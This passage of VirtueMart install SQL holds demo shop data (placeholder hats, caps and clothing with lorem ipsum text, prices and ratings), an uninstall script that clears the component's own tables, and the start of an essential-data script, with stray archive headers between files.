', 'Advanced multiple overrides', '', '', '', 'advanced-multiple-overrides'), (27, '', '', '3- Product 1st PATTERN', '', '', '', '3-product-1st-pattern'), (28, '', '', '2- 1st pattern CHILD 1', '', '', '', '2--1st-pattern-child-1'), (29, '', '', '7- 1st pattern CHILD 2', '', '', '', '7-1st-pattern-child-2'), (30, '', '', '5- 1st pattern CHILD 3', '', '', '', '5-1st-pattern-child-3'), (31, '', '', '4- 1st pattern CHILD 4', '', '', '', '4-1st-pattern-child-4'), (32, '', '', '1- 1st pattern CHILD 5', '', '', '', '1--1st-pattern-child-5'), (33, '', '', '32- 1st pattern CHILD 6', '', '', '', '32-1st-pattern-child-6'), (34, '', '', '25- 1st pattern CHILD 7', '', '', '', '25-1st-pattern-child-7'), (35, '', '', '24- 1st pattern CHILD 8', '', '', '', '24-1st-pattern-child-8'), (36, '', '', '27- 1st pattern CHILD 9', '', '', '', '27-1st-pattern-child-9'), (37, '', '', '28- 1st pattern CHILD 10', '', '', '', '28-1st-pattern-child-10'), (38, '', '', '8- Product 2st PATTERN', '', '', '', '8-product-2st-pattern'), (39, '', '', '6- 2nd pattern CHILD 1', '', '', '', '6--2nd-pattern-child-1'), (40, '', '', '15- 2nd pattern CHILD 2', '', '', '', '15-2nd-pattern-child-2'), (41, '', '', '30- 2nd pattern CHILD 3', '', '', '', '30-2nd-pattern-child-3'), (42, '', '', '17- 2nd pattern CHILD 4', '', '', '', '17-2nd-pattern-child-4'), (43, '', '', '16- 2nd pattern CHILD 5', '', '', '', '16-2nd-pattern-child-5'), (44, '', '', '22- 2nd pattern CHILD 6', '', '', '', '22-2nd-pattern-child-6'), (45, '', '', '23- 2nd pattern CHILD 7', '', '', '', '23-2nd-pattern-child-7'), (46, '', '', '21- 2nd pattern CHILD 8', '', '', '', '21-2nd-pattern-child-8'), (47, '', '', '18- 2nd pattern CHILD 9', '', '', '', '18-2nd-pattern-child-9'), (48, '', '', '33- 2nd pattern CHILD 10', '', '', '', '33-2nd-pattern-child-10'), (49, '', '', '20- Product 3rd PATTERN', '', '', '', '20-product-3rd-pattern'), (50, '', '', '19- 3rd pattern child 1', '', '', '', '19--3rd-pattern-child-1'), (51, '', '', '14- 3rd pattern child 2', '', '', '', '14--3rd-pattern-child-2'), (52, '', '', '13- 3rd pattern child 3', '', '', '', '13--3rd-pattern-child-3'), (53, '', '', '11- 3rd pattern child 4', '', '', '', '11--3rd-pattern-child-4'), (54, '', '', '26- 3rd pattern child 5', '', '', '', '26-3rd-pattern-child-5'), (55, '', '', '9- 3rd pattern child 6', '', '', '', '9--3rd-pattern-child-6'), (56, '', '', '31- 3rd pattern child 7', '', '', '', '31-3rd-pattern-child-7'), (57, '', '', '10- 3rd pattern child 8', '', '', '', '10--3rd-pattern-child-8'), (58, '', '', '29- 3rd pattern child 9', '', '', '', '29-3rd-pattern-child-9'), (59, '', '', '12- 3rd pattern child 10', '', '', '', '12--3rd-pattern-child-10'), (60, '', '', 'PATTERN Hats', '', '', '', 'pattern-hats'), (61, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Classic Hat', '', '', '', 'classic-hat'), (62, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Cowboy Hat', '', '', '', 'cowboy-hat'), (63, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Derby Hat', '', '', '', 'derby-hat'), (64, '', '', 'PATTERN Caps', '', '', '', 'pattern-caps'), (65, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr.', '

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Santa Cap', '', '', '', 'santa-cap'), (66, 'Base lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Baseball Cap', '', '', '', 'baseball-cap'), (67, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Marine Cap', '', '', '', 'marine-cap'), (68, 'Pattern for Clothing. For showcase reason this pattern is NOT unpublished.', '

For showcase reason this pattern is NOT unpublished.

', 'PATTERN Clothing', '', '', '', 'pattern-outer-garments'), (69, 'Jumper dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '', 'Jumper', '', '', '', 'jumper'), (70, 'Wide dress dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

Wide dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Wide dress', '', '', '', 'wide-dress'), (71, 'Classic jacket ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

Classic Jacket ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Classic Jacket', '', '', '', 'classic-jacket'), (72, 'Poncho ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

Poncho ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Poncho', '', '', '', 'poncho'), (73, 'Dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.', '

Dress ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Dress', '', '', '', 'dress'); INSERT IGNORE INTO `#__virtuemart_product_categories` (`id`, `virtuemart_product_id`, `virtuemart_category_id`, `ordering`) VALUES (1, 1, 1, 1), (2, 2, 1, 2), (3, 3, 1, 3), (4, 4, 1, 4), (5, 5, 1, 5), (6, 6, 1, 6), (7, 7, 1, 7), (8, 11, 1, 8), (9, 15, 1, 9), (13, 21, 2, 3), (11, 20, 2, 2), (12, 19, 2, 1), (14, 22, 2, 4), (15, 23, 2, 5), (16, 24, 2, 6), (17, 25, 2, 7), (20, 27, 3, 3), (19, 26, 2, 8), (21, 28, 3, 2), (22, 36, 3, 27), (23, 35, 3, 24), (24, 34, 3, 25), (25, 33, 3, 32), (26, 32, 3, 1), (27, 31, 3, 4), (28, 30, 3, 5), (29, 29, 3, 7), (30, 37, 3, 28), (31, 38, 3, 8), (32, 39, 3, 6), (33, 47, 3, 18), (34, 46, 3, 21), (35, 45, 3, 23), (36, 44, 3, 22), (37, 43, 3, 16), (38, 42, 3, 17), (39, 41, 3, 30), (40, 40, 3, 15), (41, 48, 3, 33), (42, 49, 3, 20), (43, 50, 3, 19), (44, 58, 3, 29), (45, 57, 3, 10), (46, 56, 3, 31), (47, 55, 3, 9), (48, 54, 3, 26), (49, 53, 3, 11), (50, 52, 3, 13), (51, 51, 3, 14), (52, 59, 3, 12), (53, 60, 5, 1), (54, 61, 5, 2), (55, 62, 5, 3), (56, 63, 5, 4), (57, 64, 6, 1), (58, 65, 6, 2), (59, 66, 6, 3), (60, 67, 6, 4), (61, 68, 7, 1), (62, 70, 7, 3), (63, 70, 9, 1), (64, 69, 7, 2), (65, 69, 8, 1), (66, 71, 7, 4), (67, 71, 8, 2), (68, 72, 7, 5), (69, 72, 9, 2), (70, 72, 8, 3), (71, 73, 7, 6), (72, 73, 9, 3), (73, 63, 4, 4), (74, 62, 4, 3), (75, 61, 4, 2), (76, 60, 4, 1), (77, 67, 4, 8), (78, 66, 4, 7), (79, 65, 4, 6), (80, 64, 4, 5); INSERT IGNORE INTO `#__virtuemart_product_customfields` (`virtuemart_customfield_id`, `virtuemart_product_id`, `virtuemart_custom_id`, `custom_value`, `custom_price`, `custom_param`, `published`, `ordering`) VALUES (1, 3, 3, 'This is the content of the customfield string.', NULL, '', 0, 0), (2, 4, 4, 'Default product with this customfield textarea.

\r\n\r\nLorem ipsum dolor sit amet, set clita kasd gubergren, no sea takimata sanctus est dolor sit amet consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat.

\r\n\r\nAt vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

\r\n', NULL, '', 0, 1), (3, 5, 5, '', NULL, '', 0, 0), (4, 5, 6, 'Customfield Child string 1 content', NULL, '', 0, 1), (5, 5, 7, 'Customfield ChildCustomfield Child string 2 content 2: string content', NULL, '', 0, 2), (6, 5, 8, '
\r\nCustomfield Textarea Child content
\r\n>> This three customfields are assigned by adding Customfield Parent.
', NULL, '', 0, 3), (7, 6, 9, '(default)', NULL, '', 0, 0), (8, 6, 9, 'Variant A', 2.00000, '', 0, 1), (9, 6, 9, 'Variant B', 5.00000, '', 0, 2), (10, 6, 9, 'Variant C', 10.00000, '', 0, 3), (11, 7, 10, 'product_sku', NULL, 'withParent="1"|parentOrderable="1"|', 0, 0), (12, 11, 10, 'product_sku', NULL, 'withParent="1"|parentOrderable="0"|', 0, 0), (13, 15, 1, '6', NULL, '', 0, 0), (14, 15, 1, '7', NULL, '', 0, 1), (15, 15, 10, 'product_sku', NULL, 'withParent="1"|parentOrderable="1"|', 0, 0), (16, 15, 9, '(default)', NULL, '', 0, 1), (17, 15, 9, 'Variante A', 10.00000, '', 0, 2), (18, 15, 9, 'Variante B', 20.00000, '', 0, 3), (19, 15, 9, 'Variante C', 30.00000, '', 0, 4), (20, 23, 5, '', NULL, '', 0, 0), (21, 23, 6, 'Customfield string 1: Child content', NULL, '', 0, 1), (22, 23, 7, 'Customfield string 2: Child content', NULL, '', 0, 2), (23, 23, 8, '
\r\nAdvanced PATTERN content
\r\n>> This three customfields are assigned by adding Customfields Parent.
', NULL, '', 0, 3), (24, 26, 5, '', NULL, '', 0, 0), (25, 26, 6, 'Advanced multiple overwrite', NULL, '', 0, 1), (26, 26, 7, 'Advanced multiple overwrite', NULL, '', 0, 2), (27, 26, 8, '>> Advanced multiple overwrite', NULL, '', 0, 3), (28, 61, 1, '62', NULL, '', 0, 0), (29, 61, 1, '63', NULL, '', 0, 1), (30, 62, 1, '63', NULL, '', 0, 0), (31, 62, 1, '61', NULL, '', 0, 1), (32, 63, 1, '62', NULL, '', 0, 0), (33, 63, 1, '61', NULL, '', 0, 1), (44, 64, 13, 'Details: ', NULL, '', 0, 5), (43, 64, 11, '', NULL, '', 0, 4), (41, 64, 12, 'M-L', 1.00000, '', 0, 2), (40, 64, 12, 'S-M', NULL, '', 0, 1), (46, 65, 12, 'S', NULL, '', 0, 1), (42, 64, 12, 'L-XL', 2.00000, '', 0, 3), (45, 64, 14, 'Components: ', NULL, '', 0, 6), (47, 65, 12, 'M', 1.00000, '', 0, 2), (48, 65, 12, 'L', 3.00000, '', 0, 3), (49, 65, 11, '', NULL, '', 0, 4), (50, 65, 13, 'Extra fluffy cap your Santa will be amused', NULL, '', 0, 5), (51, 65, 14, '100% Synthetic Deerimitation', NULL, '', 0, 6), (52, 66, 12, 'S', NULL, '', 0, 1), (53, 66, 12, 'M', 3.00000, '', 0, 2), (54, 66, 12, 'L', 5.00000, '', 0, 3), (55, 66, 11, '', NULL, '', 0, 4), (56, 66, 13, 'The players choice!', NULL, '', 0, 5), (57, 66, 14, '100% Cotton', NULL, '', 0, 6), (58, 66, 1, '65', NULL, '', 0, 0), (59, 66, 1, '67', NULL, '', 0, 1), (60, 65, 1, '66', NULL, '', 0, 0), (61, 65, 1, '67', NULL, '', 0, 1), (62, 67, 12, 'S-M', NULL, '', 0, 1), (63, 67, 12, 'M-L', 1.00000, '', 0, 2), (64, 67, 12, 'L-XL', 2.00000, '', 0, 3), (65, 67, 11, '', NULL, '', 0, 4), (66, 67, 13, 'Your freetime and leisure heads friend', NULL, '', 0, 5), (67, 67, 14, '100% Cotton', NULL, '', 0, 6), (68, 67, 1, '65', NULL, '', 0, 0), (69, 67, 1, '66', NULL, '', 0, 1), (70, 68, 15, 'Twill', NULL, '', 0, 0), (71, 68, 15, 'Rip-stop', 10.00000, '', 0, 1), (72, 68, 16, 'M', NULL, '', 0, 2), (73, 68, 16, 'L', 10.00000, '', 0, 3), (74, 68, 17, '', NULL, '', 0, 4), (75, 68, 18, '100% natural wool', NULL, '', 0, 5), (76, 68, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (77, 69, 16, 'M-L', NULL, '', 0, 2), (78, 69, 16, 'L-XL', 15.00000, '', 0, 3), (79, 69, 17, '', NULL, '', 0, 4), (80, 69, 18, '100% Cotton', NULL, '', 0, 5), (81, 69, 19, 'Jumper ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (82, 70, 15, 'Fine', NULL, '', 0, 0), (83, 70, 15, 'Extra fine', 100.00000, '', 0, 1), (84, 70, 16, 'S-M', NULL, '', 0, 2), (85, 70, 16, 'M-L', 50.00000, '', 0, 3), (86, 70, 17, '', NULL, '', 0, 4), (87, 70, 18, '100% Cotton special', NULL, '', 0, 5), (88, 70, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (89, 71, 15, 'Cord', NULL, '', 0, 0), (90, 71, 15, 'Twill', 100.00000, '', 0, 1), (91, 71, 16, 'M-L', NULL, '', 0, 2), (92, 71, 16, 'L-XL', 100.00000, '', 0, 3), (93, 71, 17, '', NULL, '', 0, 4), (94, 71, 18, '100% Cotton', NULL, '', 0, 5), (95, 71, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (96, 72, 15, 'Rubber', NULL, '', 0, 0), (97, 72, 15, 'Polyethylen', 5.00000, '', 0, 1), (98, 72, 16, 'S-M', NULL, '', 0, 2), (99, 72, 16, 'L-XL', 5.00000, '', 0, 3), (100, 72, 17, '', NULL, '', 0, 4), (101, 72, 18, '100% Synthetic', NULL, '', 0, 5), (102, 72, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6), (103, 73, 16, 'XS', NULL, '', 0, 0), (104, 73, 16, 'S', 10.00000, '', 0, 1), (105, 73, 16, 'M', 20.00000, '', 0, 2), (106, 73, 16, 'L', 30.00000, '', 0, 3), (107, 73, 17, '', NULL, '', 0, 4), (108, 73, 19, 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.', NULL, '', 0, 6); INSERT IGNORE INTO `#__virtuemart_product_manufacturers` (`id`, `virtuemart_product_id`, `virtuemart_manufacturer_id`) VALUES (1, 1, 2), (2, 2, 2), (3, 3, 2), (4, 4, 2), (5, 5, 2), (6, 6, 2), (7, 7, 2), (8, 8, 2), (9, 9, 2), (10, 10, 2), (11, 11, 2), (12, 15, 2), (13, 19, 2), (14, 20, 2), (15, 21, 2), (16, 22, 2), (17, 23, 2), (18, 24, 1), (19, 25, 2), (20, 26, 1), (21, 27, 2), (22, 28, 2), (23, 36, 1), (24, 35, 3), (25, 34, 2), (26, 33, 1), (27, 32, 3), (28, 31, 2), (29, 30, 2), (30, 29, 1), (31, 37, 3), (32, 38, 2), (33, 39, 2), (34, 47, 1), (35, 46, 3), (36, 45, 2), (37, 44, 1), (38, 43, 3), (39, 42, 2), (40, 41, 1), (41, 40, 3), (42, 48, 2), (43, 49, 2), (44, 50, 2), (45, 58, 1), (46, 57, 3), (47, 56, 2), (48, 55, 1), (49, 54, 3), (50, 53, 2), (51, 52, 2), (52, 51, 1), (53, 59, 1), (54, 60, 3), (55, 61, 3), (56, 62, 2), (57, 63, 2), (58, 64, 2), (59, 65, 2), (60, 66, 1), (61, 67, 3), (62, 68, 2), (63, 70, 1), (64, 69, 3), (65, 71, 3), (66, 72, 1), (67, 73, 2); INSERT IGNORE INTO `#__virtuemart_product_medias` (`id`, `virtuemart_product_id`, `virtuemart_media_id`, `ordering`) VALUES (1, 1, 8, 1), (2, 2, 8, 1), (3, 3, 8, 1), (4, 4, 8, 1), (5, 5, 8, 1), (6, 6, 8, 1), (7, 7, 8, 1), (8, 11, 8, 1), (9, 15, 8, 1), (10, 19, 8, 1), (11, 23, 8, 1), (12, 26, 12, 1), (13, 22, 11, 1), (14, 27, 8, 1), (15, 49, 8, 1), (16, 38, 8, 1), (17, 60, 8, 1), (18, 61, 10, 1), (19, 62, 11, 1), (20, 63, 12, 1), (21, 64, 8, 1), (22, 65, 13, 1), (23, 66, 14, 1), (24, 67, 15, 1), (25, 68, 8, 1), (26, 69, 16, 1), (27, 70, 17, 1), (28, 71, 18, 1), (29, 72, 19, 1), (30, 73, 20, 1); INSERT IGNORE INTO `#__virtuemart_product_prices` (`virtuemart_product_price_id`, `virtuemart_product_id`, `virtuemart_shoppergroup_id`, `product_price`, `override`, `product_override_price`, `product_tax_id`, `product_discount_id`, `product_currency`) VALUES (1, 1, 0, 10.00000, 0, 0.00000, 0, 0, 47), (2, 2, 0, 0.00000, 0, 0.00000, 0, 0, 47), (3, 3, 0, 10.00000, 0, 0.00000, 0, 0, 47), (4, 5, 0, 10.00000, 0, 0.00000, 0, 0, 47), (5, 6, 0, 10.00000, 0, 0.00000, 0, 0, 47), (6, 7, 0, 10.00000, 0, 0.00000, 0, 0, 47), (7, 8, 0, 15.00000, 0, 0.00000, 0, 0, 47), (8, 9, 0, 20.00000, 0, 0.00000, 0, 0, 191), (9, 10, 0, 25.00000, 0, 0.00000, 0, 0, 191), (10, 11, 0, 10.00000, 0, 0.00000, 0, 0, 47), (11, 12, 0, 15.00000, 0, 0.00000, 0, 0, 191), (12, 13, 0, 20.00000, 0, 0.00000, 0, 0, 191), (13, 14, 0, 25.00000, 0, 0.00000, 0, 0, 191), (14, 15, 0, 10.00000, 0, 0.00000, 0, 0, 47), (15, 16, 0, 15.00000, 0, 0.00000, 0, 0, 191), (16, 17, 0, 20.00000, 0, 0.00000, 0, 0, 191), (17, 18, 0, 25.00000, 0, 0.00000, 0, 0, 191), (18, 4, 0, 10.00000, 0, 0.00000, 0, 0, 47), (19, 19, 0, 10.00000, 0, 0.00000, 0, 0, 47), (20, 21, 0, 20.00000, 0, 0.00000, 0, 0, 47), (21, 22, 0, 30.00000, 0, 0.00000, 0, 0, 47), (22, 23, 0, 100.00000, 0, 0.00000, 0, 0, 47), (23, 25, 0, 150.00000, 0, 0.00000, 0, 0, 47), (24, 26, 0, 200.00000, 0, 0.00000, 0, 0, 47), (25, 27, 0, 40.00000, 0, 0.00000, 0, 0, 47), (26, 38, 0, 210.00000, 0, 0.00000, 0, 0, 47), (27, 49, 0, 300.00000, 0, 0.00000, 0, 0, 47), (28, 61, 0, 29.00000, 0, 0.00000, 0, 0, 47), (29, 62, 0, 34.90000, 0, 0.00000, 0, 0, 47), (30, 63, 0, 44.90000, 0, 0.00000, 0, 0, 191), (31, 64, 0, 25.00000, 0, 0.00000, 0, 0, 47), (32, 65, 0, 24.90000, 0, 0.00000, 0, 0, 47), (33, 66, 0, 15.00000, 0, 0.00000, 0, 0, 47), (34, 67, 0, 17.90000, 0, 0.00000, 0, 0, 47), (35, 68, 0, 249.90000, 0, 0.00000, 0, 0, 47), (36, 69, 0, 149.90000, 0, 0.00000, 0, 0, 47), (37, 70, 0, 490.90000, 0, 0.00000, 0, 0, 47), (38, 71, 0, 899.90000, 0, 0.00000, 0, 0, 47), (39, 72, 0, 24.90000, 0, 0.00000, 0, 0, 182), (40, 73, 0, 449.90000, 0, 0.00000, 0, 0, 47), (41, 72, 3, 19.90000, 0, 0.00000, 0, 0, 47), (42, 73, 3, 349.90000, 0, 0.00000, 0, 0, 47), (43, 61, 3, 14.90000, 0, 0.00000, 0, 0, 47), (44, 62, 3, 24.90000, 0, 0.00000, 0, 0, 47), (45, 63, 3, 34.90000, 0, 0.00000, 0, 0, 47), (46, 65, 3, 14.90000, 0, 0.00000, 0, 0, 47), (47, 66, 3, 9.90000, 0, 0.00000, 0, 0, 47), (48, 67, 3, 12.90000, 0, 0.00000, 0, 0, 47); INSERT IGNORE INTO `#__virtuemart_ratings` (`virtuemart_rating_id`, `virtuemart_product_id`, `rates`, `ratingcount`, `rating`, `published`) VALUES (1, 4, 4, 1, 4.0, 0), (2, 5, 5, 1, 5.0, 0), (3, 6, 4, 1, 4.0, 0), (4, 7, 4, 1, 4.0, 0), (5, 11, 5, 1, 5.0, 0), (6, 15, 5, 1, 5.0, 0), (7, 22, 3, 1, 3.0, 0), (8, 23, 5, 1, 5.0, 0), (9, 24, 4, 1, 4.0, 0), (10, 25, 4, 1, 4.0, 0), (11, 26, 5, 1, 5.0, 0), (12, 21, 5, 1, 5.0, 0), (13, 20, 3, 1, 3.0, 0), (14, 19, 5, 1, 5.0, 0), (15, 63, 5, 1, 5.0, 0), (16, 60, 5, 1, 5.0, 0), (17, 61, 4, 1, 4.0, 0), (18, 62, 4, 1, 4.0, 0), (19, 67, 5, 1, 5.0, 0), (20, 64, 4, 1, 4.0, 0), (21, 65, 5, 1, 5.0, 0), (22, 66, 5, 1, 5.0, 0), (23, 71, 5, 1, 5.0, 0), (24, 72, 3, 1, 3.0, 0), (25, 73, 4, 1, 4.0, 0), (26, 70, 5, 1, 5.0, 0), (27, 69, 4, 1, 4.0, 0); INSERT IGNORE INTO `#__virtuemart_rating_votes` (`virtuemart_rating_vote_id`, `virtuemart_product_id`, `vote`, `lastip`) VALUES (1, 4, 4, '::1'), (2, 5, 5, '::1'), (3, 6, 4, '::1'), (4, 7, 4, '::1'), (5, 11, 5, '::1'), (6, 15, 5, '::1'), (7, 22, 3, '::1'), (8, 23, 5, '::1'), (9, 24, 4, '::1'), (10, 25, 4, '::1'), (11, 26, 5, '::1'), (12, 21, 5, '::1'), (13, 20, 3, '::1'), (14, 19, 5, '::1'), (15, 63, 5, '::1'), (16, 60, 5, '::1'), (17, 61, 4, '::1'), (18, 62, 4, '::1'), (19, 67, 5, '::1'), (20, 64, 4, '::1'), (21, 65, 5, '::1'), (22, 66, 5, '::1'), (23, 71, 5, '::1'), (24, 72, 3, '::1'), (25, 73, 4, '::1'), (26, 70, 5, '::1'), (27, 69, 4, '::1'); INSERT INTO `#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`, `published`) VALUES (NULL, 1, 'Gold Level', 'Gold Level Shoppers.', 0,1,1), (NULL, 1, 'Wholesale', 'Shoppers that can buy at wholesale.', 0,1,1);PKsl>\VUvvacom_virtuemart_update/administrator/components/com_virtuemart/install/uninstall_required_data.sqlnuW+A-- Remove all required data DELETE FROM `#__virtuemart_permgroups`; DELETE FROM `#__virtuemart_countries`; DELETE FROM `#__virtuemart_currencies`; DELETE FROM `#__virtuemart_paymentmethods`; DELETE FROM `#__virtuemart_shipmentmethods`; DELETE FROM `#__virtuemart_shoppergroups`; DELETE FROM `#__virtuemart_vmuser_shoppergroups`; DELETE FROM `#__virtuemart_states`;PKsl>\xi2i2`com_virtuemart_update/administrator/components/com_virtuemart/install/install_essential_data.sqlnuW+A -- VirtueMart table data SQL script -- This will insert all essential data into the VirtueMart tables -- -- Configuration data has been moved to virtuemart.cfg -- -- -- Dumping data for table `#__virtuemart_adminmenuentries` -- INSERT INTO `#__virtuemart_adminmenuentries` (`id`, `module_id`, `parent_id`, `name`, `link`, `depends`, `icon_class`, `ordering`, `published`, `tooltip`, `view`, `task`) VALUES (null , 1, 0, 'COM_VIRTUEMART_CATEGORY_S', '', '', 'vmicon vmicon-16-folder_camera', 1, 1, '', 'category', ''), (null, 1, 0, 'COM_VIRTUEMART_PRODUCT_S', '', '', 'vmicon vmicon-16-camera', 2, 1, '', 'product', ''), (null, 1, 0, 'COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_S', '', '', 'vmicon vmicon-16-document_move', 5, 1, '', 'custom', ''), (null, 1, 0, 